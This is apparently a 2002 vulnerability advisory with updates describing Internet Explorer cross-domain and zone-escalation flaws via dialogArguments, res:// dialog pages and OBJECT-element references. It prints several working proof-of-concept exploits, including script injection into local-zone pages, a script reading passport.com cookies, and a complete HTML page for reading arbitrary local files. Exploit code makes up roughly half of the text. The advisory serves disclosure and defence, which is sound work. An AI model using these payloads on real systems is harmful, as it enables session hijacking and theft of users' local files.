|
COMMAND IE allows universal Cross Site Scripting SYSTEMS AFFECTED Any application that hosts the WebBrowser control (IE6+). Such as : Microsoft Internet Explorer Microsoft Outlook Microsoft Outlook Express Tested on: IE6sp1 Win2000 SP2, with all patches. IE6sp1 Windows 98, with all patches. IE6sp1 Windows 98 SE, with all patches. PROBLEM In Thor Larholm security advisory [TL#002] : Among its extensive functionality, IE employs a set of useful methods to display dialog windows. These, the showModalDialog and showModelessDialog methods, can transfer objects from the originating page to the page being displayed inside the dialog, by use of the dialogArguments property. Discussion ========== The dialogArguments property tries to prevent interaction between remote pages by comparing the location of the originating page and the dialog page. When opening a dialog window (e.g. res://shdoclc.dll/policyerror.htm) from another protocol, port or domain (e.g. http://jscript.dk), the validation code in IE will ensure that no objects are transferred, and no interaction is as such possible. When both pages are on the same protocol, port and domain, the validation code will allow interaction. Unfortunately, the validation code only checks the original URL instead of the final URL, and it is as such possible to bounce a HTTP redirect from the originating site to the desired dialog page that will allow interaction. It is worth noting that this is not in any way limited to the RES:// protocol. The flawed dialogArguments property also allows interaction between different domains (e.g. YAHOO.COM to MICROSOFT.COM), different protocols (HTTP to HTTPS, HTTP to FILE, etc.) and different ports (port 80 to port 21, port 80 to port 25, etc.) For the sake of demonstration, we take a look at shdoclc.dll which contains several resource in the HTML category, labeled POLICYERROR.HTM, POLICYLOOKING.HTM, POLICYNONE.HTM and POLICYSYNTAXERROR.HTM. These files contain the following script code: var site = window.parent.dialogArguments.url; function printSite() { document.write( site); } Exploit ======= <script> var sCode = \'<\'+\'script>alert(\"This is running from: \" + location.href);top.close()</\'+\'script>\'; window.showModalDialog(\"redirect.asp\", {url:sCode}) </script> Redirect.asp contains: <%@Language=Jscript%><% Response.Redirect(\"res://shdoclc.dll/policyerror.htm\"); %> Demonstration ============= I have put together some proof-of-concept examples: - Simple static examples: Demonstratory fixed code - Advanced example: Input arbitrary script code - Hijacking MSN Messenger: An updated version of a previous bulletin - Executing arbitrary commands: How CodeBase was not fixed These can be found at : http://jscript.dk/adv/TL002/ Update (19 April 2002) ====== GreyMagic Software [security@greymagic.com] adds : \"shdoclc.dll\" also contains an \"ANALYZE.DLG\" file, which is not as easy to exploit as the policy error files in IE6 that Thor demonstrated, but a bit of manipulation gets us the same results. \"ANALYZE.DLG\" seemed to be programmed with surprising care, using insertAdjacentText when \"unsafe\" content may appear instead of innerHTML or insertAdjacentHTML. However, there is one place where the programmer didn\'t take enough caution, line 187 contains (comments added to explain the code): ---------- // Expected to return an array of <link> elements. // theDocument variable used in this line is the document property of the // argument sent to the dialog, an expected window object. links = theDocument.all.tags(\"link\"); // Sends the array for inspection by another function retVal = checkLinkReadyStateComplete(links, reportLocation); ---------- and inside the function checkLinkReadyStateComplete: ---------- if (objects == null) return retVal; for (i=0; i < objects.length; i++) { element = objects(i); if (element.rel.toLowerCase() == \"stylesheet\" || element.rel.toLowerCase() == \"alternate stylesheet\") { if (element.readyState != \"complete\" && element.readyState != 4) { reportLocation.insertAdjacentHTML(\"BeforeEnd\", L_StyleSheetNotInstalled_Text + element.href + \"<BR><hr>\"); retVal = true; } } } ---------- The problem is, of course, in line 205, a dangerous concatenation inside a call to insertAdjacentHTML. Exploit: ======== <script language=\"jscript\"> // HTML to be injected (will run in the \"My Computer\" zone) var sHTML=\"<b>We\'re in!</b>\"; // Object to return from tags(\"link\"), must be a function because they use // objects(i) instead of objects[i], VB style collection access. function oExploit(iSec) { return { // Satisfy line 201 rel:\"stylesheet\", // Satisfy line 204 readyState:\"exploit\", // Exploit line 205 href:sHTML }; } // A length property so it will enter the loop oExploit.length=1; // A fake window object, so no errors will be raised during the process, // the custom \"tags\" method will return an empty array for any element // other than our target (<link>), in which case it will return the oExploit // object above. var oSecurity={ document:{ all:{ tags:function (sTag) { return sTag==\"link\" ? oExploit : []; } } } } // Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg // and oSecurity (fake window) is sent as the dialog argument. showModelessDialog(\"getFile.asp\",oSecurity); </script> Several demonstrations of this exploit are available at: http://security.greymagic.com/adv/gm001-ax/. Notes: ====== IE5 acts very strangely with this exploit, it works SOMETIMES, a few reloads usually get it to run properly. It seems to have a moral problem with redirecting to res:// files. Update (11 July 2002) ====== Thor Larholm, Security Researcher PivX Solutions, LLC [http://www.PivX.com] adds : Any document can extend the properties exposed by the OBJECT element, and any namespace conflicts are handled by querying the object property which is a duplicate reference to the embedded document. When embedding a document from the same site (same protocol, port and host) it is possible to make a reference to the object property without circumventing any Cross Domain security checks. After having established a reference we will then change the location of the document being embedded. The location changes but the reference stays, and we now have complete access to the DOM of the foreign document. The default object being referenced by the object property in the case of text/html is the document object. The simple proof-of-concept exploit below will read the cookie from passport.com. The OBJECT element is not restricted to embedding HTML documents, but can embed objects of any type. As such, this vulnerability could be extended even further. Exploit ======= <object id=\"data\" data=\"empty.html\" type=\"text/html\"></object> <script> var ref=document.getElementById(\"data\").object; ref.location.href = \"http://www.passport.com\"; setTimeout(\"alert(ref.cookie)\",5000); </script> Also there is some proof-of-concept examples: - Read foreign cookies - Read local (or foreign) file - Execute arbitrary commands These can be found at http://www.PivX.com/larholm/adv/TL003/ Update (12 July 2002) ====== Matthew Murphy exploit to local file access via IE [http://www.murphy.101main.net/localread.htm] : <HTML> <HEAD> <OBJECT id=\"dataobj\" data=\"/\" type=\"text/html\" style=\"display:none\"></OBJECT> <SCRIPT defer> var ref = document.getElementById(\"dataobj\").object; var str; function readFile() { output.value = \"\"; var str = \"file://\" + file.value; if (str.toUpperCase().substr(str.length - 4) == \".TXT\") { window.setTimeout(\"reRead()\", 2000); str += \" .\"; } else { str += \".\"; } ref.location.href = str; window.setTimeout(\"readMe()\", 1000); } function reRead() { if (output.value == \"\") { ref.location.href = str + \".\"; window.setTimeout(\"readMe()\", 1000); } } function readMe() { if (ref.documentElement.innerText == undefined) { if (ref.documentElement.innerHtml == undefined) { if (ref.body.innerText == undefined) { if (ref.body.innerHtml == undefined) { alert(\"EMPTY FILE!\"); } else { output.value = ref.body.innerHtml; } } else { output.value = ref.body.innerText; } } else { output.value = ref.documentElement.innerHtml; } } else { output.value = ref.documentElement.innerText; } } </SCRIPT> <META name=\"Author\" content=\"Matthew Murphy\"> <META name=\"Description\" content=\"TL003 and Binary Files\"> <TITLE>Using OBJECT to Read Binaries</TITLE> <BODY> <STRONG>Internet Explorer OBJECT File Reading (Binaries)</STRONG><BR><BR> On June 25, Patrick Zumstein of PivX Solutions alerted Thor Larholm, Georgi Guninski, and PacketStorm security to a possible vulnerability in Internet Explorer. Thor and Patrick published an advisory on the vulnerability on July 10. Mr. Larholm provided several <A href=\"http://www.PivX.com/larholm/adv/TL003/\">examples</A>, including one allowing local file reading. However, Mr. Larholm\'s exploit was only capable of reading HTML documents and plain text files. In an enhancement of that exploit, I have combined this issue, and one reported by Andreas Sandblad (Overriding filetype handlers) to allow images, and other binaries to be read via this vulnerability.<BR><BR> <STRONG>NOTE: Some types of files cannot be read via this vulnerability.</STRONG><BR><BR> Enter a file name in the box below to see its contents (up to the first NULL byte):<BR><BR> File path: <INPUT type=\"text\" name=\"file\"><BR> <A href=\"#\" onclick=\"readFile()\">Read it!</A><BR><BR> <TEXTAREA name=\"output\" value=\"c:\\config.sys\" style=\"width:700px; height:300px\"></TEXTAREA> </BODY> </HTML> SOLUTION Disable scripting. Get a fix ?